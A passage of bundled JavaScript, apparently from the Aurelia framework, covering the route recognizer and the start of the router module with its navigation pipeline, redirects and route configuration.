return DynamicSegment;
}();
var StarSegment = exports.StarSegment = function () {
function StarSegment(name) {
this.name = name;
}
StarSegment.prototype.eachChar = function eachChar(callback) {
callback({ invalidChars: '', repeat: true });
};
StarSegment.prototype.regex = function regex() {
return '(.+)';
};
StarSegment.prototype.generate = function generate(params, consumed) {
consumed[this.name] = true;
return params[this.name];
};
return StarSegment;
}();
var EpsilonSegment = exports.EpsilonSegment = function () {
function EpsilonSegment() {
}
EpsilonSegment.prototype.eachChar = function eachChar() {};
EpsilonSegment.prototype.regex = function regex() {
return '';
};
EpsilonSegment.prototype.generate = function generate() {
return '';
};
return EpsilonSegment;
}();
var RouteRecognizer = exports.RouteRecognizer = function () {
function RouteRecognizer() {
this.rootState = new State();
this.names = {};
}
RouteRecognizer.prototype.add = function add(route) {
var _this = this;
if (Array.isArray(route)) {
route.forEach(function (r) {
return _this.add(r);
});
return undefined;
}
var currentState = this.rootState;
var regex = '^';
var types = { statics: 0, dynamics: 0, stars: 0 };
var names = [];
var routeName = route.handler.name;
var isEmpty = true;
var isAllOptional = true;
var segments = parse(route.path, names, types, route.caseSensitive);
for (var i = 0, ii = segments.length; i < ii; i++) {
var segment = segments[i];
if (segment instanceof EpsilonSegment) {
continue;
}
isEmpty = false;
isAllOptional = isAllOptional && segment.optional;
currentState = addSegment(currentState, segment);
regex += segment.optional ? '/?' : '/';
regex += segment.regex();
}
if (isAllOptional) {
if (isEmpty) {
currentState = currentState.put({ validChars: '/' });
regex += '/';
} else {
var finalState = this.rootState.put({ validChars: '/' });
currentState.epsilon = [finalState];
currentState = finalState;
}
}
var handlers = [{ handler: route.handler, names: names }];
if (routeName) {
var routeNames = Array.isArray(routeName) ? routeName : [routeName];
for (var _i2 = 0; _i2 < routeNames.length; _i2++) {
this.names[routeNames[_i2]] = {
segments: segments,
handlers: handlers
};
}
}
currentState.handlers = handlers;
currentState.regex = new RegExp(regex + '$', route.caseSensitive ? '' : 'i');
currentState.types = types;
return currentState;
};
RouteRecognizer.prototype.handlersFor = function handlersFor(name) {
var route = this.names[name];
if (!route) {
throw new Error('There is no route named ' + name);
}
return [].concat(route.handlers);
};
RouteRecognizer.prototype.hasRoute = function hasRoute(name) {
return !!this.names[name];
};
RouteRecognizer.prototype.generate = function generate(name, params) {
var route = this.names[name];
if (!route) {
throw new Error('There is no route named ' + name);
}
var handler = route.handlers[0].handler;
if (handler.generationUsesHref) {
return handler.href;
}
var routeParams = Object.assign({}, params);
var segments = route.segments;
var consumed = {};
var output = '';
for (var i = 0, l = segments.length; i < l; i++) {
var segment = segments[i];
if (segment instanceof EpsilonSegment) {
continue;
}
var segmentValue = segment.generate(routeParams, consumed);
if (segmentValue === null || segmentValue === undefined) {
if (!segment.optional) {
throw new Error('A value is required for route parameter \'' + segment.name + '\' in route \'' + name + '\'.');
}
} else {
output += '/';
output += segmentValue;
}
}
if (output.charAt(0) !== '/') {
output = '/' + output;
}
for (var param in consumed) {
delete routeParams[param];
}
var queryString = (0, _aureliaPath.buildQueryString)(routeParams);
output += queryString ? '?' + queryString : '';
return output;
};
RouteRecognizer.prototype.recognize = function recognize(path) {
var states = [this.rootState];
var queryParams = {};
var isSlashDropped = false;
var normalizedPath = path;
var queryStart = normalizedPath.indexOf('?');
if (queryStart !== -1) {
var queryString = normalizedPath.substr(queryStart + 1, normalizedPath.length);
normalizedPath = normalizedPath.substr(0, queryStart);
queryParams = (0, _aureliaPath.parseQueryString)(queryString);
}
normalizedPath = decodeURI(normalizedPath);
if (normalizedPath.charAt(0) !== '/') {
normalizedPath = '/' + normalizedPath;
}
var pathLen = normalizedPath.length;
if (pathLen > 1 && normalizedPath.charAt(pathLen - 1) === '/') {
normalizedPath = normalizedPath.substr(0, pathLen - 1);
isSlashDropped = true;
}
for (var i = 0, l = normalizedPath.length; i < l; i++) {
states = recognizeChar(states, normalizedPath.charAt(i));
if (!states.length) {
break;
}
}
var solutions = [];
for (var _i3 = 0, _l = states.length; _i3 < _l; _i3++) {
if (states[_i3].handlers) {
solutions.push(states[_i3]);
}
}
states = sortSolutions(solutions);
var state = solutions[0];
if (state && state.handlers) {
if (isSlashDropped && state.regex.source.slice(-5) === '(.+)$') {
normalizedPath = normalizedPath + '/';
}
return findHandler(state, normalizedPath, queryParams);
}
return undefined;
};
return RouteRecognizer;
}();
var RecognizeResults = function RecognizeResults(queryParams) {
this.splice = Array.prototype.splice;
this.slice = Array.prototype.slice;
this.push = Array.prototype.push;
this.length = 0;
this.queryParams = queryParams || {};
};
function parse(route, names, types, caseSensitive) {
var normalizedRoute = route;
if (route.charAt(0) === '/') {
normalizedRoute = route.substr(1);
}
var results = [];
var splitRoute = normalizedRoute.split('/');
for (var i = 0, ii = splitRoute.length; i < ii; ++i) {
var segment = splitRoute[i];
var match = segment.match(/^:([^?]+)(\?)?$/);
if (match) {
var _match = match;
var _name = _match[1];
var optional = _match[2];
if (_name.indexOf('=') !== -1) {
throw new Error('Parameter ' + _name + ' in route ' + route + ' has a default value, which is not supported.');
}
results.push(new DynamicSegment(_name, !!optional));
names.push(_name);
types.dynamics++;
continue;
}
match = segment.match(/^\*(.+)$/);
if (match) {
results.push(new StarSegment(match[1]));
names.push(match[1]);
types.stars++;
} else if (segment === '') {
results.push(new EpsilonSegment());
} else {
results.push(new StaticSegment(segment, caseSensitive));
types.statics++;
}
}
return results;
}
function sortSolutions(states) {
return states.sort(function (a, b) {
if (a.types.stars !== b.types.stars) {
return a.types.stars - b.types.stars;
}
if (a.types.stars) {
if (a.types.statics !== b.types.statics) {
return b.types.statics - a.types.statics;
}
if (a.types.dynamics !== b.types.dynamics) {
return b.types.dynamics - a.types.dynamics;
}
}
if (a.types.dynamics !== b.types.dynamics) {
return a.types.dynamics - b.types.dynamics;
}
if (a.types.statics !== b.types.statics) {
return b.types.statics - a.types.statics;
}
return 0;
});
}
function recognizeChar(states, ch) {
var nextStates = [];
for (var i = 0, l = states.length; i < l; i++) {
var state = states[i];
nextStates.push.apply(nextStates, state.match(ch));
}
var skippableStates = nextStates.filter(function (s) {
return s.epsilon;
});
var _loop = function _loop() {
var newStates = [];
skippableStates.forEach(function (s) {
nextStates.push.apply(nextStates, s.epsilon);
newStates.push.apply(newStates, s.epsilon);
});
skippableStates = newStates.filter(function (s) {
return s.epsilon;
});
};
while (skippableStates.length > 0) {
_loop();
}
return nextStates;
}
function findHandler(state, path, queryParams) {
var handlers = state.handlers;
var regex = state.regex;
var captures = path.match(regex);
var currentCapture = 1;
var result = new RecognizeResults(queryParams);
for (var i = 0, l = handlers.length; i < l; i++) {
var _handler = handlers[i];
var _names = _handler.names;
var _params = {};
for (var j = 0, m = _names.length; j < m; j++) {
_params[_names[j]] = captures[currentCapture++];
}
result.push({ handler: _handler.handler, params: _params, isDynamic: !!_names.length });
}
return result;
}
function addSegment(currentState, segment) {
var state = currentState.put({ validChars: '/' });
segment.eachChar(function (ch) {
state = state.put(ch);
});
if (segment.optional) {
currentState.epsilon = currentState.epsilon || [];
currentState.epsilon.push(state);
}
return state;
}
});
define('aurelia-router',['exports', 'aurelia-logging', 'aurelia-route-recognizer', 'aurelia-dependency-injection', 'aurelia-history', 'aurelia-event-aggregator'], function (exports, _aureliaLogging, _aureliaRouteRecognizer, _aureliaDependencyInjection, _aureliaHistory, _aureliaEventAggregator) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.AppRouter = exports.PipelineProvider = exports.LoadRouteStep = exports.RouteLoader = exports.ActivateNextStep = exports.DeactivatePreviousStep = exports.CanActivateNextStep = exports.CanDeactivatePreviousStep = exports.Router = exports.BuildNavigationPlanStep = exports.activationStrategy = exports.RouterConfiguration = exports.RedirectToRoute = exports.Redirect = exports.NavModel = exports.NavigationInstruction = exports.CommitChangesStep = exports.Pipeline = exports.pipelineStatus = undefined;
exports._normalizeAbsolutePath = _normalizeAbsolutePath;
exports._createRootedPath = _createRootedPath;
exports._resolveUrl = _resolveUrl;
exports.isNavigationCommand = isNavigationCommand;
exports._buildNavigationPlan = _buildNavigationPlan;
var LogManager = _interopRequireWildcard(_aureliaLogging);
function _interopRequireWildcard(obj) {
if (obj && obj.__esModule) {
return obj;
} else {
var newObj = {};
if (obj != null) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];
}
}
newObj.default = obj;
return newObj;
}
}
function _possibleConstructorReturn(self, call) {
if (!self) {
throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
}
return call && (typeof call === "object" || typeof call === "function") ? call : self;
}
function _inherits(subClass, superClass) {
if (typeof superClass !== "function" && superClass !== null) {
throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);
}
subClass.prototype = Object.create(superClass && superClass.prototype, {
constructor: {
value: subClass,
enumerable: false,
writable: true,
configurable: true
}
});
if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;
}
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) {
return typeof obj;
} : function (obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj;
};
var _createClass = function () {
function defineProperties(target, props) {
for (var i = 0; i < props.length; i++) {
var descriptor = props[i];
descriptor.enumerable = descriptor.enumerable || false;
descriptor.configurable = true;
if ("value" in descriptor) descriptor.writable = true;
Object.defineProperty(target, descriptor.key, descriptor);
}
}
return function (Constructor, protoProps, staticProps) {
if (protoProps) defineProperties(Constructor.prototype, protoProps);
if (staticProps) defineProperties(Constructor, staticProps);
return Constructor;
};
}();
function _normalizeAbsolutePath(path, hasPushState) {
var absolute = arguments.length <= 2 || arguments[2] === undefined ? false : arguments[2];
if (!hasPushState && path[0] !== '#') {
path = '#' + path;
}
if (hasPushState && absolute) {
path = path.substring(1, path.length);
}
return path;
}
function _createRootedPath(fragment, baseUrl, hasPushState, absolute) {
if (isAbsoluteUrl.test(fragment)) {
return fragment;
}
var path = '';
if (baseUrl.length && baseUrl[0] !== '/') {
path += '/';
}
path += baseUrl;
if ((!path.length || path[path.length - 1] !== '/') && fragment[0] !== '/') {
path += '/';
}
if (path.length && path[path.length - 1] === '/' && fragment[0] === '/') {
path = path.substring(0, path.length - 1);
}
return _normalizeAbsolutePath(path + fragment, hasPushState, absolute);
}
function _resolveUrl(fragment, baseUrl, hasPushState) {
if (isRootedPath.test(fragment)) {
return _normalizeAbsolutePath(fragment, hasPushState);
}
return _createRootedPath(fragment, baseUrl, hasPushState);
}
var isRootedPath = /^#?\//;
var isAbsoluteUrl = /^([a-z][a-z0-9+\-.]*:)?\/\//i;
var pipelineStatus = exports.pipelineStatus = {
completed: 'completed',
canceled: 'canceled',
rejected: 'rejected',
running: 'running'
};
var Pipeline = exports.Pipeline = function () {
function Pipeline() {
this.steps = [];
}
Pipeline.prototype.addStep = function addStep(step) {
var run = void 0;
if (typeof step === 'function') {
run = step;
} else if (typeof step.getSteps === 'function') {
var steps = step.getSteps();
for (var i = 0, l = steps.length; i < l; i++) {
this.addStep(steps[i]);
}
return this;
} else {
run = step.run.bind(step);
}
this.steps.push(run);
return this;
};
Pipeline.prototype.run = function run(instruction) {
var index = -1;
var steps = this.steps;
function next() {
index++;
if (index < steps.length) {
var currentStep = steps[index];
try {
return currentStep(instruction, next);
} catch (e) {
return next.reject(e);
}
} else {
return next.complete();
}
}
next.complete = createCompletionHandler(next, pipelineStatus.completed);
next.cancel = createCompletionHandler(next, pipelineStatus.canceled);
next.reject = createCompletionHandler(next, pipelineStatus.rejected);
return next();
};
return Pipeline;
}();
function createCompletionHandler(next, status) {
return function (output) {
return Promise.resolve({ status: status, output: output, completed: status === pipelineStatus.completed });
};
}
var CommitChangesStep = exports.CommitChangesStep = function () {
function CommitChangesStep() {
}
CommitChangesStep.prototype.run = function run(navigationInstruction, next) {
return navigationInstruction._commitChanges(true).then(function () {
navigationInstruction._updateTitle();
return next();
});
};
return CommitChangesStep;
}();
var NavigationInstruction = exports.NavigationInstruction = function () {
function NavigationInstruction(init) {
this.plan = null;
this.options = {};
Object.assign(this, init);
this.params = this.params || {};
this.viewPortInstructions = {};
var ancestorParams = [];
var current = this;
do {
var currentParams = Object.assign({}, current.params);
if (current.config && current.config.hasChildRouter) {
delete currentParams[current.getWildCardName()];
}
ancestorParams.unshift(currentParams);
current = current.parentInstruction;
} while (current);
var allParams = Object.assign.apply(Object, [{}, this.queryParams].concat(ancestorParams));
this.lifecycleArgs = [allParams, this.config, this];
}
NavigationInstruction.prototype.getAllInstructions = function getAllInstructions() {
var instructions = [this];
for (var key in this.viewPortInstructions) {
var childInstruction = this.viewPortInstructions[key].childNavigationInstruction;
if (childInstruction) {
instructions.push.apply(instructions, childInstruction.getAllInstructions());
}
}
return instructions;
};
NavigationInstruction.prototype.getAllPreviousInstructions = function getAllPreviousInstructions() {
return this.getAllInstructions().map(function (c) {
return c.previousInstruction;
}).filter(function (c) {
return c;
});
};
NavigationInstruction.prototype.addViewPortInstruction = function addViewPortInstruction(viewPortName, strategy, moduleId, component) {
var config = Object.assign({}, this.lifecycleArgs[1], { currentViewPort: viewPortName });
var viewportInstruction = this.viewPortInstructions[viewPortName] = {
name: viewPortName,
strategy: strategy,
moduleId: moduleId,
component: component,
childRouter: component.childRouter,
lifecycleArgs: [].concat(this.lifecycleArgs[0], config, this.lifecycleArgs[2])
};
return viewportInstruction;
};
NavigationInstruction.prototype.getWildCardName = function getWildCardName() {
var wildcardIndex = this.config.route.lastIndexOf('*');
return this.config.route.substr(wildcardIndex + 1);
};
NavigationInstruction.prototype.getWildcardPath = function getWildcardPath() {
var wildcardName = this.getWildCardName();
var path = this.params[wildcardName] || '';
if (this.queryString) {
path += '?' + this.queryString;
}
return path;
};
NavigationInstruction.prototype.getBaseUrl = function getBaseUrl() {
var _this = this;
var fragment = this.fragment;
if (fragment === '') {
var nonEmptyRoute = this.router.routes.find(function (route) {
return route.name === _this.config.name && route.route !== '';
});
if (nonEmptyRoute) {
fragment = nonEmptyRoute.route;
}
}
if (!this.params) {
return fragment;
}
var wildcardName = this.getWildCardName();
var path = this.params[wildcardName] || '';
if (!path) {
return fragment;
}
path = encodeURI(path);
return fragment.substr(0, fragment.lastIndexOf(path));
};
NavigationInstruction.prototype._commitChanges = function _commitChanges(waitToSwap) {
var _this2 = this;
var router = this.router;
router.currentInstruction = this;
if (this.previousInstruction) {
this.previousInstruction.config.navModel.isActive = false;
}
this.config.navModel.isActive = true;
router._refreshBaseUrl();
router.refreshNavigation();
var loads = [];
var delaySwaps = [];
var _loop = function _loop(viewPortName) {
var viewPortInstruction = _this2.viewPortInstructions[viewPortName];
var viewPort = router.viewPorts[viewPortName];
if (!viewPort) {
throw new Error('There was no router-view found in the view for ' + viewPortInstruction.moduleId + '.');
}
if (viewPortInstruction.strategy === activationStrategy.replace) {
if (waitToSwap) {
delaySwaps.push({ viewPort: viewPort, viewPortInstruction: viewPortInstruction });
}
loads.push(viewPort.process(viewPortInstruction, waitToSwap).then(function (x) {
if (viewPortInstruction.childNavigationInstruction) {
return viewPortInstruction.childNavigationInstruction._commitChanges();
}
return undefined;
}));
} else {
if (viewPortInstruction.childNavigationInstruction) {
loads.push(viewPortInstruction.childNavigationInstruction._commitChanges(waitToSwap));
}
}
};
for (var viewPortName in this.viewPortInstructions) {
_loop(viewPortName);
}
return Promise.all(loads).then(function () {
delaySwaps.forEach(function (x) {
return x.viewPort.swap(x.viewPortInstruction);
});
return null;
}).then(function () {
return prune(_this2);
});
};
NavigationInstruction.prototype._updateTitle = function _updateTitle() {
var title = this._buildTitle();
if (title) {
this.router.history.setTitle(title);
}
};
NavigationInstruction.prototype._buildTitle = function _buildTitle() {
var separator = arguments.length <= 0 || arguments[0] === undefined ? ' | ' : arguments[0];
var title = '';
var childTitles = [];
if (this.config.navModel.title) {
title = this.router.transformTitle(this.config.navModel.title);
}
for (var viewPortName in this.viewPortInstructions) {
var _viewPortInstruction = this.viewPortInstructions[viewPortName];
if (_viewPortInstruction.childNavigationInstruction) {
var childTitle = _viewPortInstruction.childNavigationInstruction._buildTitle(separator);
if (childTitle) {
childTitles.push(childTitle);
}
}
}
if (childTitles.length) {
title = childTitles.join(separator) + (title ? separator : '') + title;
}
if (this.router.title) {
title += (title ? separator : '') + this.router.transformTitle(this.router.title);
}
return title;
};
return NavigationInstruction;
}();
function prune(instruction) {
instruction.previousInstruction = null;
instruction.plan = null;
}
var NavModel = exports.NavModel = function () {
function NavModel(router, relativeHref) {
this.isActive = false;
this.title = null;
this.href = null;
this.relativeHref = null;
this.settings = {};
this.config = null;
this.router = router;
this.relativeHref = relativeHref;
}
NavModel.prototype.setTitle = function setTitle(title) {
this.title = title;
if (this.isActive) {
this.router.updateTitle();
}
};
return NavModel;
}();
function isNavigationCommand(obj) {
return obj && typeof obj.navigate === 'function';
}
var Redirect = exports.Redirect = function () {
function Redirect(url) {
var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
this.url = url;
this.options = Object.assign({ trigger: true, replace: true }, options);
this.shouldContinueProcessing = false;
}
Redirect.prototype.setRouter = function setRouter(router) {
this.router = router;
};
Redirect.prototype.navigate = function navigate(appRouter) {
var navigatingRouter = this.options.useAppRouter ? appRouter : this.router || appRouter;
navigatingRouter.navigate(this.url, this.options);
};
return Redirect;
}();
var RedirectToRoute = exports.RedirectToRoute = function () {
function RedirectToRoute(route) {
var params = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
var options = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];
this.route = route;
this.params = params;
this.options = Object.assign({ trigger: true, replace: true }, options);
this.shouldContinueProcessing = false;
}
RedirectToRoute.prototype.setRouter = function setRouter(router) {
this.router = router;
};
RedirectToRoute.prototype.navigate = function navigate(appRouter) {
var navigatingRouter = this.options.useAppRouter ? appRouter : this.router || appRouter;
navigatingRouter.navigateToRoute(this.route, this.params, this.options);
};
return RedirectToRoute;
}();
var RouterConfiguration = exports.RouterConfiguration = function () {
function RouterConfiguration() {
this.instructions = [];
this.options = {};
this.pipelineSteps = [];
}
RouterConfiguration.prototype.addPipelineStep = function addPipelineStep(name, step) {
this.pipelineSteps.push({ name: name, step: step });
return this;
};
RouterConfiguration.prototype.addAuthorizeStep = function addAuthorizeStep(step) {
return this.addPipelineStep('authorize', step);
};
RouterConfiguration.prototype.addPreActivateStep = function addPreActivateStep(step) {
return this.addPipelineStep('preActivate', step);
};
RouterConfiguration.prototype.addPreRenderStep = function addPreRenderStep(step) {
return this.addPipelineStep('preRender', step);
};
RouterConfiguration.prototype.addPostRenderStep = function addPostRenderStep(step) {
return this.addPipelineStep('postRender', step);
};
RouterConfiguration.prototype.fallbackRoute = function fallbackRoute(fragment) {
this._fallbackRoute = fragment;
return this;
};
RouterConfiguration.prototype.map = function map(route) {
if (Array.isArray(route)) {
route.forEach(this.map.bind(this));
return this;
}
return this.mapRoute(route);
};
RouterConfiguration.prototype.mapRoute = function mapRoute(config) {
this.instructions.push(function (router) {
var routeConfigs = [];
if (Array.isArray(config.route)) {
for (var i = 0, ii = config.route.length; i < ii; ++i) {
var current = Object.assign({}, config);
current.route = config.route[i];
routeConfigs.push(current);
}
} else {
routeConfigs.push(Object.assign({}, config));
}
var navModel = void 0;
for (var _i = 0, _ii = routeConfigs.length; _i < _ii; ++_i) {
var _routeConfig = routeConfigs[_i];
_routeConfig.settings = _routeConfig.settings || {};
if (!navModel) {
navModel = router.createNavModel(_routeConfig);
}
router.addRoute(_routeConfig, navModel);
}
});
return this;
};
RouterConfiguration.prototype.mapUnknownRoutes = function mapUnknownRoutes(config) {
this.unknownRouteConfig = config;
return this;
};
RouterConfiguration.prototype.exportToRouter = function exportToRouter(router) {
var instructions = this.instructions;
for (var i = 0, ii = instructions.length; i < ii; ++i) {
instructions[i](router);
}
if (this.title) {
router.title = this.title;
}
if (this.unknownRouteConfig) {
router.handleUnknownRoutes(this.unknownRouteConfig);
}
if (this._fallbackRoute) {
router.fallbackRoute = this._fallbackRoute;
}
router.options = this.options;
var pipelineSteps = this.pipelineSteps;
if (pipelineSteps.length) {
if (!router.isRoot) {
throw new Error('Pipeline steps can only be added to the root router');
}
var pipelineProvider = router.pipelineProvider;
for (var _i2 = 0, _ii2 = pipelineSteps.length; _i2 < _ii2; ++_i2) {
var _pipelineSteps$_i = pipelineSteps[_i2];
var _name = _pipelineSteps$_i.name;
var step = _pipelineSteps$_i.step;
pipelineProvider.addStep(_name, step);
}
}
};
return RouterConfiguration;
}();
var activationStrategy = exports.activationStrategy = {
noChange: 'no-change',
invokeLifecycle: 'invoke-lifecycle',
replace: 'replace'
};
var BuildNavigationPlanStep = exports.BuildNavigationPlanStep = function () {
function BuildNavigationPlanStep() {
}
BuildNavigationPlanStep.prototype.run = function run(navigationInstruction, next) {
return _buildNavigationPlan(navigationInstruction).then(function (plan) {
navigationInstruction.plan = plan;
return next();
}).catch(next.cancel);
};
return BuildNavigationPlanStep;
}();
function _buildNavigationPlan(instruction, forceLifecycleMinimum) {
var prev = instruction.previousInstruction;
var config = instruction.config;
var plan = {};
if ('redirect' in config) {
var redirectLocation = _resolveUrl(config.redirect, getInstructionBaseUrl(instruction));
if (instruction.queryString) {
redirectLocation += '?' + instruction.queryString;
}
return Promise.reject(new Redirect(redirectLocation));
}
if (prev) {
var newParams = hasDifferentParameterValues(prev, instruction);
var pending = [];
var _loop2 = function _loop2(viewPortName) {
var prevViewPortInstruction = prev.viewPortInstructions[viewPortName];
var nextViewPortConfig = config.viewPorts[viewPortName];
if (!nextViewPortConfig) throw new Error('Invalid Route Config: Configuration for viewPort "' + viewPortName + '" was not found for route: "' + instruction.config.route + '."');
var viewPortPlan = plan[viewPortName] = {
name: viewPortName,
config: nextViewPortConfig,
prevComponent: prevViewPortInstruction.component,
prevModuleId: prevViewPortInstruction.moduleId
};
if (prevViewPortInstruction.moduleId !== nextViewPortConfig.moduleId) {
viewPortPlan.strategy = activationStrategy.replace;
} else if ('determineActivationStrategy' in prevViewPortInstruction.component.viewModel) {
var _prevViewPortInstruct;
viewPortPlan.strategy = (_prevViewPortInstruct = prevViewPortInstruction.component.viewModel).determineActivationStrategy.apply(_prevViewPortInstruct, instruction.lifecycleArgs);
} else if (config.activationStrategy) {
viewPortPlan.strategy = config.activationStrategy;
} else if (newParams || forceLifecycleMinimum) {
viewPortPlan.strategy = activationStrategy.invokeLifecycle;
} else {
viewPortPlan.strategy = activationStrategy.noChange;
}
if (viewPortPlan.strategy !== activationStrategy.replace && prevViewPortInstruction.childRouter) {
var path = instruction.getWildcardPath();
var task = prevViewPortInstruction.childRouter._createNavigationInstruction(path, instruction).then(function (childInstruction) {
viewPortPlan.childNavigationInstruction = childInstruction;
return _buildNavigationPlan(childInstruction, viewPortPlan.strategy === activationStrategy.invokeLifecycle).then(function (childPlan) {
childInstruction.plan = childPlan;
});
});
pending.push(task);
}
};
for (var viewPortName in prev.viewPortInstructions) {
_loop2(viewPortName);
}
return Promise.all(pending).then(function () {
return plan;
});
}
for (var _viewPortName in config.viewPorts) {
plan[_viewPortName] = {
name: _viewPortName,
strategy: activationStrategy.replace,
config: instruction.config.viewPorts[_viewPortName]
};
}
return Promise.resolve(plan);
}
function hasDifferentParameterValues(prev, next) {
var prevParams = prev.params;
var nextParams = next.params;
var nextWildCardName = next.config.hasChildRouter ? next.getWildCardName() : null;
for (var key in nextParams) {
if (key === nextWildCardName) {
continue;
}
if (prevParams[key] !== nextParams[key]) {
return true;
}
}
for (var _key in prevParams) {
if (_key === nextWildCardName) {
continue;
}
if (prevParams[_key] !== nextParams[_key]) {
return true;
}
}
if (!next.options.compareQueryParams) {
return false;
}
var prevQueryParams = prev.queryParams;
var nextQueryParams = next.queryParams;
for (var _key2 in nextQueryParams) {
if (prevQueryParams[_key2] !== nextQueryParams[_key2]) {
return true;
}
}
for (var _key3 in prevQueryParams) {
if (prevQueryParams[_key3] !== nextQueryParams[_key3]) {
return true;
}
}
return false;
}
function getInstructionBaseUrl(instruction) {
var instructionBaseUrlParts = [];
instruction = instruction.parentInstruction;
while (instruction) {
instructionBaseUrlParts.unshift(instruction.getBaseUrl());
instruction = instruction.parentInstruction;
}
instructionBaseUrlParts.unshift('/');
return instructionBaseUrlParts.join('');
}
var Router = exports.Router = function () {
function Router(container, history) {
var _this3 = this;
this.parent = null;
this.options = {};
this.transformTitle = function (title) {
if (_this3.parent) {
return _this3.parent.transformTitle(title);
}
return title;
};
this.container = container;
this.history = history;
this.reset();
}
Router.prototype.reset = function reset() {
var _this4 = this;
this.viewPorts = {};
this.routes = [];
this.baseUrl = '';
this.isConfigured = false;
this.isNavigating = false;
this.isExplicitNavigation = false;
this.isExplicitNavigationBack = false;
this.navigation = [];
this.currentInstruction = null;
this._fallbackOrder = 100;
this._recognizer = new _aureliaRouteRecognizer.RouteRecognizer();
this._childRecognizer = new _aureliaRouteRecognizer.RouteRecognizer();
this._configuredPromise = new Promise(function (resolve) {
_this4._resolveConfiguredPromise = resolve;
});
};
Router.prototype.registerViewPort = function registerViewPort(viewPort, name) {
name = name || 'default';
this.viewPorts[name] = viewPort;
};
Router.prototype.ensureConfigured = function ensureConfigured() {
return this._configuredPromise;
};
Router.prototype.configure = function configure(callbackOrConfig) {
var _this5 = this;
this.isConfigured = true;
var result = callbackOrConfig;
var config = void 0;
if (typeof callbackOrConfig === 'function') {
config = new RouterConfiguration();
result = callbackOrConfig(config);
}
return Promise.resolve(result).then(function (c) {
if (c && c.exportToRouter) {
config = c;
}
config.exportToRouter(_this5);
_this5.isConfigured = true;
_this5._resolveConfiguredPromise();
});
};
Router.prototype.navigate = function navigate(fragment, options) {
if (!this.isConfigured && this.parent) {
return this.parent.navigate(fragment, options);
}
this.isExplicitNavigation = true;
return this.history.navigate(_resolveUrl(fragment, this.baseUrl, this.history._hasPushState), options);
};
Router.prototype.navigateToRoute = function navigateToRoute(route, params, options) {
var path = this.generate(route, params);
return this.navigate(path, options);
};
Router.prototype.navigateBack = function navigateBack() {
this.isExplicitNavigationBack = true;
this.history.navigateBack();
};
Router.prototype.createChild = function createChild(container) {
var childRouter = new Router(container || this.container.createChild(), this.history);
childRouter.parent = this;
return childRouter;
};
Router.prototype.generate = function generate(name, params) {
var options = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];
var hasRoute = this._recognizer.hasRoute(name);
if ((!this.isConfigured || !hasRoute) && this.parent) {
return this.parent.generate(name, params);
}
if (!hasRoute) {
throw new Error('A route with name \'' + name + '\' could not be found. Check that `name: \'' + name + '\'` was specified in the route\'s config.');
}
var path = this._recognizer.generate(name, params);
var rootedPath = _createRootedPath(path, this.baseUrl, this.history._hasPushState, options.absolute);
return options.absolute ? '' + this.history.getAbsoluteRoot() + rootedPath : rootedPath;
};
Router.prototype.createNavModel = function createNavModel(config) {
var navModel = new NavModel(this, 'href' in config ? config.href : config.route);
navModel.title = config.title;
navModel.order = config.nav;
navModel.href = config.href;
navModel.settings = config.settings;
navModel.config = config;
return navModel;
};
Router.prototype.addRoute = function addRoute(config, navModel) {
validateRouteConfig(config, this.routes);
if (!('viewPorts' in config) && !config.navigationStrategy) {
config.viewPorts = {
'default': {
moduleId: config.moduleId,
view: config.view
}
};
}
if (!navModel) {
navModel = this.createNavModel(config);
}
this.routes.push(config);
var path = config.route;
if (path.charAt(0) === '/') {
path = path.substr(1);
}
var caseSensitive = config.caseSensitive === true;
var state = this._recognizer.add({ path: path, handler: config, caseSensitive: caseSensitive });
if (path) {
var _settings = config.settings;
delete config.settings;
var withChild = JSON.parse(JSON.stringify(config));
config.settings = _settings;
withChild.route = path + '/*childRoute';
withChild.hasChildRouter = true;
this._childRecognizer.add({
path: withChild.route,
handler: withChild,
caseSensitive: caseSensitive
});
withChild.navModel = navModel;
withChild.settings = config.settings;
withChild.navigationStrategy = config.navigationStrategy;
}
config.navModel = navModel;
if ((navModel.order || navModel.order === 0) && this.navigation.indexOf(navModel) === -1) {
if (!navModel.href && navModel.href !== '' && (state.types.dynamics || state.types.stars)) {
throw new Error('Invalid route config for "' + config.route + '" : dynamic routes must specify an "href:" to be included in the navigation model.');
}
if (typeof navModel.order !== 'number') {
navModel.order = ++this._fallbackOrder;
}
this.navigation.push(navModel);
this.navigation = this.navigation.sort(function (a, b) {
return a.order - b.order;
});
}
};
Router.prototype.hasRoute = function hasRoute(name) {
return !!(this._recognizer.hasRoute(name) || this.parent && this.parent.hasRoute(name));
};
Router.prototype.hasOwnRoute = function hasOwnRoute(name) {
return this._recognizer.hasRoute(name);
};
Router.prototype.handleUnknownRoutes = function handleUnknownRoutes(config) {
var _this6 = this;
if (!config) {
throw new Error('Invalid unknown route handler');
}
this.catchAllHandler = function (instruction) {
return _this6._createRouteConfig(config, instruction).then(function (c) {
instruction.config = c;
return instruction;
});
};
};
Router.prototype.updateTitle = function updateTitle() {
if (this.parent) {
return this.parent.updateTitle();
}
if (this.currentInstruction) {
this.currentInstruction._updateTitle();
}
return undefined;
};
Router.prototype.refreshNavigation = function refreshNavigation() {
var nav = this.navigation;
for (var i = 0, length = nav.length; i < length; i++) {
var current = nav[i];
if (!current.config.href) {
current.href = _createRootedPath(current.relativeHref, this.baseUrl, this.history._hasPushState);
} else {
current.href = _normalizeAbsolutePath(current.config.href, this.history._hasPushState);
}
}
};
Router.prototype._refreshBaseUrl = function _refreshBaseUrl() {
if (this.parent) {
var baseUrl = this.parent.currentInstruction.getBaseUrl();
this.baseUrl = this.parent.baseUrl + baseUrl;
}
};
Router.prototype._createNavigationInstruction = function _createNavigationInstruction() {
var url = arguments.length <= 0 || arguments[0] === undefined ? '' : arguments[0];
var parentInstruction = arguments.length <= 1 || arguments[1] === undefined ? null : arguments[1];
var fragment = url;
var queryString = '';
var queryIndex = url.indexOf('?');
